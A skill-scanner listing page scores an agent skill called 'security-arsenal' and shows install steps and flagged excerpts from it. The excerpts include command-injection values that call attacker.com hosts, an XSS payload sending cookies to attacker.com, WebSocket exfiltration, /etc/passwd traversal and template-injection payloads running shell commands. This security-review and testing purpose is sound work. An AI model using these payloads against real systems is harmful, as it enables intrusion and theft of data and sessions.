← All skills
security-arsenal
92 / 100 · Low risk
Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By iradoweck/antigravity-awesome-skills (GitHub) · security · 30 stars · scanned at commit 2984de1
Security payloads, bypass tables, wordlists, gf pattern names, always-rejected
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: attacker.com, target.com, attacker.burpcollaborator.net, target
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 13 places.
Show 10 more
- skills/security-arsenal/SKILL.md, line 342
curl -s -X POST https://target.com/api/login \ - skills/security-arsenal/SKILL.md, line 370
; curl https://attacker.burpcollaborator.net - skills/security-arsenal/SKILL.md, line 374
; wget https://attacker.com/$(id|base64) - skills/security-arsenal/references/details.md, line 152
var ws = new WebSocket('wss://target.com/ws'); - skills/security-arsenal/references/details.md, line 155
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data)); - skills/security-arsenal/references/details.md, line 170
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"} - skills/security-arsenal/references/details.md, line 225
r = requests.post("https://target.com/api/mfa", json={"otp": totp_value}) - skills/security-arsenal/references/details.md, line 259
async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s: - skills/security-arsenal/references/details.md, line 489
The classic CL.TE / TE.CL HTTP smuggling payloads no longer work against Nginx ≥ 1.21, Caddy 2.x, Envoy ≥ 1.20 (verified in Phase 2H). They DO still work agains - skills/security-arsenal/references/details.md, line 519
curl "https://target/search?q=${m}" | grep -c "$m"
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 17 places.
Show 14 more
- skills/security-arsenal/SKILL.md, line 238
../../../etc/passwd - skills/security-arsenal/SKILL.md, line 254
GET /api/user/123/profile → GET /api/user/124/profile - skills/security-arsenal/SKILL.md, line 272
POST /api/user/update - skills/security-arsenal/SKILL.md, line 293
import base64, json - skills/security-arsenal/SKILL.md, line 305
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z - skills/security-arsenal/SKILL.md, line 329
/login?username[$ne]=null&password[$ne]=null - skills/security-arsenal/SKILL.md, line 342
curl -s -X POST https://target.com/api/login \ - skills/security-arsenal/SKILL.md, line 356
; id - skills/security-arsenal/SKILL.md, line 370
; curl https://attacker.burpcollaborator.net - skills/security-arsenal/SKILL.md, line 380
;{cat,/etc/passwd} - skills/security-arsenal/SKILL.md, line 404
test.jpg; id - skills/security-arsenal/SKILL.md, line 443
cat scope.txt # target list from the authorized engagement brief - skills/security-arsenal/references/details.md, line 24
{{''.__class__.__mro__[1].__subclasses__()[396] ('id',shell=True,stdout=-1).communicate()[0].strip()}} - skills/security-arsenal/references/details.md, line 54
<%= process.mainModule.require('child_process').execSync('id') %>
Other copies in this repository
iradoweck/antigravity-awesome-skills has 2 more folders with a skill named security-arsenal. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'security-arsenal' ] || [ -L ~/.agents/skills/'security-arsenal' ]; then echo 'A skill folder named security-arsenal already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/iradoweck/antigravity-awesome-skills' "$d" && git -C "$d" checkout --quiet '2984de11956e413008c6f98121cd141c499e47a3' -- 'skills/security-arsenal' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/security-arsenal' ~/.agents/skills/'security-arsenal' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'security-arsenal' ~/.claude/skills/'security-arsenal' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for iradoweck/antigravity-awesome-skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/iradoweck/antigravity-awesome-skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 2984de1 | 92 |
| 2026-11-06 | 2984de1 | 92 |